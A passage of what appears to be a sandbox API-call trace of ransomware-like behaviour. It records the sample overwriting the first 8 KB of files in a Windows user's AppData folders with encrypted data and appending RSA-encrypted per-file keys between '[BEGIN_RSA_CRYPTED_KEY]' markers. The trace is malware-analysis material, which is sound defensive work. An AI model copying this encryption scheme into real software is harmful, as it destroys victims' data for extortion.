dwFlags=0x0, lpMem=0x2ee93d0 | out: hHeap=0x570000) returned 1 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee83d8 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0201.265] GetLastError () returned 0x0 [0201.265] GetLastError () returned 0x0 [0201.265] GetLastError () returned 0x0 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee90d8 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5508 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5508 | out: hHeap=0x570000) returned 1 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0201.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee72a8 [0201.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee90d8 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610428 | out: hHeap=0x570000) returned 1 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66adc0 | out: hHeap=0x570000) returned 1 [0201.266] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30f93c50, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5508 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee83d8 | out: hHeap=0x570000) returned 1 [0201.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee83d8 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0201.266] GetLastError () returned 0x12 [0201.266] GetLastError () returned 0x12 [0201.266] GetLastError () returned 0x12 [0201.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0201.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9150 [0201.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5408 [0201.267] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.267] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669238 [0201.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.267] ReadFile (in: hFile=0x11b8, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.312] SetFilePointer (in: hFile=0x11b8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.312] WriteFile (in: hFile=0x11b8, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.313] SetFilePointer (in: hFile=0x11b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.313] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.313] WriteFile (in: hFile=0x11b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.313] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.313] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.314] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.314] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.314] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fBUAw/UYVxQQw2CrKnImh9XdJvjCc5naMmq/Q3XQ2sNjH1584pDcxjtFYSNfEa88\nVRCVchzjq/RA2M+u+i0X5N25PBkM6mlctQGouEMCLNW1S+rM98eIwks80QuOuv4M\nfYYJTs3d87/lnlEzPtEKPD7EKLisNmqTUssX9JY2r28RzMfS48hSY19bpMbjJGk1\nXq4nl3xradiwgA4yv3X0fMwdl02/bd4SrHG8Y75OZ+zhhH/j7tBX/v65L12OqWUO\nA2CeHurK3PsqO1jzq4WEKYIVaiK04ig68MTx3OXlHDAPJyBW9G+BBAibzJQlameT\nfZZ6ktPBV6mWO8BOyQz3pw==\n", pcchString=0x2e3f9a8) returned 1 [0201.314] WriteFile (in: hFile=0x11b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.314] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.314] WriteFile (in: hFile=0x11b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.314] CloseHandle (hObject=0x11b8) returned 1 [0201.327] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.327] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668b78 [0201.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.328] ReadFile (in: hFile=0x11b8, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.328] SetFilePointer (in: hFile=0x11b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.328] WriteFile (in: hFile=0x11b8, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.328] SetFilePointer (in: hFile=0x11b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.328] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.328] WriteFile (in: hFile=0x11b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.330] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.330] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eI2CXWum0SZfIdhTJiHoZ4VkXkpVA4Y4/lXXkjquO9LitACSrYZe2OI5+zm2/g8w\n2nDZggd4iiPRdjmoQFpn1djkq/WPbBzcGjqVmfrsGJGEloXrjvQpYppVcCxiYQM6\nNS7LMz0jhsWrWcpCxFofWS5f5xb74mMs6mM8MEWZ++URJeVYRmDMq0UAo24dJE4M\nWD3dfS8TR2cFKOu7XRC1RUp0+BAZ/hmikQJ/OZgKdCUUK4oNNOlVR6A34CegJzdF\nOPw8E7LK23ppewpufNsP/Art/ABd+bQHmnHXhprXTQ0Sl0ZdX0bkJmw0RMB61KWU\n1LKL8o2O5hM6QcV1bhJokg==\n", pcchString=0x2e3f9a8) returned 1 [0201.330] WriteFile (in: hFile=0x11b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.330] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.330] WriteFile (in: hFile=0x11b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.331] CloseHandle (hObject=0x11b8) returned 1 [0201.333] WriteFile (in: hFile=0x11c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.335] CloseHandle (hObject=0x11c4) returned 1 [0201.336] WriteFile (in: hFile=0x11c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.337] CloseHandle (hObject=0x11c4) returned 1 [0201.338] WriteFile (in: hFile=0x11c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.339] CloseHandle (hObject=0x11c4) returned 1 [0201.339] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.340] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0201.341] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0201.341] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.341] ReadFile (in: hFile=0x11d8, lpBuffer=0x59d210, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d210*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.341] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.342] WriteFile (in: hFile=0x11d8, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.342] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.342] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.342] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.343] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.343] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.343] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.344] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="meMLqF98MbWT4ykRdrdj9+CqkvREI88gTrTz4bZuHWOMf18zkAiWXRLLbXWZNh6C\nrv45fWZ/i8Ai9FB8elB+IgXzCWDD35kB3Ew5cbivR/bsSuerhPD4X+CYnocuZ8H9\n9R4hntbAd/2dBeUMB0obzXrBL5+HANzZdqczLNGT3CZJ+7ik2hqSH/PtQyoajX+h\nqvMZRF8uljlaD6e83eP2v4+x/SbtfoRVEwfhzelWbvzsWohoJVZJwelSTDobnlll\nB+t6EBifN1o6ekSrZ2SIxaXCEzdu9l4HwY6e19vuZ3NddlNnXVa3Fx7xsYiEEHl2\nZv/e+3AKOBo9YfPZdut9Pw==\n", pcchString=0x2e3f9a8) returned 1 [0201.344] WriteFile (in: hFile=0x11d8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.344] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.344] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.344] CloseHandle (hObject=0x11d8) returned 1 [0201.347] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.347] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0201.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0201.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.348] ReadFile (in: hFile=0x11d8, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.362] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.362] WriteFile (in: hFile=0x11d8, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.362] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.362] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.362] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.363] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.363] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.363] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8uzBZw3/gZYE05kK2NsAVi50svIISKaTaAZqh2iKhqFG7Ixe7Akc3XdxA3MIgxgk\nR1elGPLbtAc7bL1X0PlHUJCPJyDKse0BlTZfzS/GnMJ0cRNn9qdO2eMRovpdXifJ\n29xTXpu+Pd6CGyoN4zJShZwmjZF6OhQK2L5nbrtYgVF+z3mKFBBgD/sOqKdlLXzz\n1Pf5Kh8gjYEj7+jzwGTZMqo2bdNBoeYo7EzeACFcF5yBZ1MVKUBpDdJ+KXqQblE9\nHaaTEsjVGGlMK/4TK+ZcgqfPnDUxuwsnwFuD9PCvxZu40Jr1kZeJ+DW1Ds0DjX3J\nFuU0elj15lDogXWj8Sp/ZQ==\n", pcchString=0x2e3f9a8) returned 1 [0201.364] WriteFile (in: hFile=0x11d8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.364] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.364] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.364] CloseHandle (hObject=0x11d8) returned 1 [0201.366] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0201.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.367] ReadFile (in: hFile=0x11d8, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.377] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.377] WriteFile (in: hFile=0x11d8, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.378] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.378] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.378] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.379] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.379] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.379] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.379] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rBtxY7tAVYzFpznIfdUEA5LHA9BAR1Pn+eS3u09rh9om5TOx82r0oNtDEl2+UqdE\nrCw4DXp+z0ifTGWSjImh3tiC6BcZ4g/IdLM+qtC04WV/G5ZUSoYlxi/TafpghPxu\nX68ltplxy2PVx4qMDrmSDwiW8MzJILYOmRprzZV6zwI4uAGDlV88bYlWAY4GkQAD\ngRgbaiTqtkpBHkEMRDXMybJlSWsAi/uq/vrjMdPpTa6xgc0S+NOq+su77tn/Kq09\nZa2FXWRZxX9TGLCgU0k92xzHmpbg+rSJfqUjxicaHu0Rxb/SXNJWSKihwEvqDE7e\nFfGpis5VChxz3LunzSAFVg==\n", pcchString=0x2e3f9a8) returned 1 [0201.379] WriteFile (in: hFile=0x11d8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.380] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.380] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.380] CloseHandle (hObject=0x11d8) returned 1 [0201.382] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.382] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.382] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6597c8 [0201.382] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.382] ReadFile (in: hFile=0x11d8, lpBuffer=0x59d290, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.382] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.382] WriteFile (in: hFile=0x11d8, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.382] SetFilePointer (in: hFile=0x11d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, 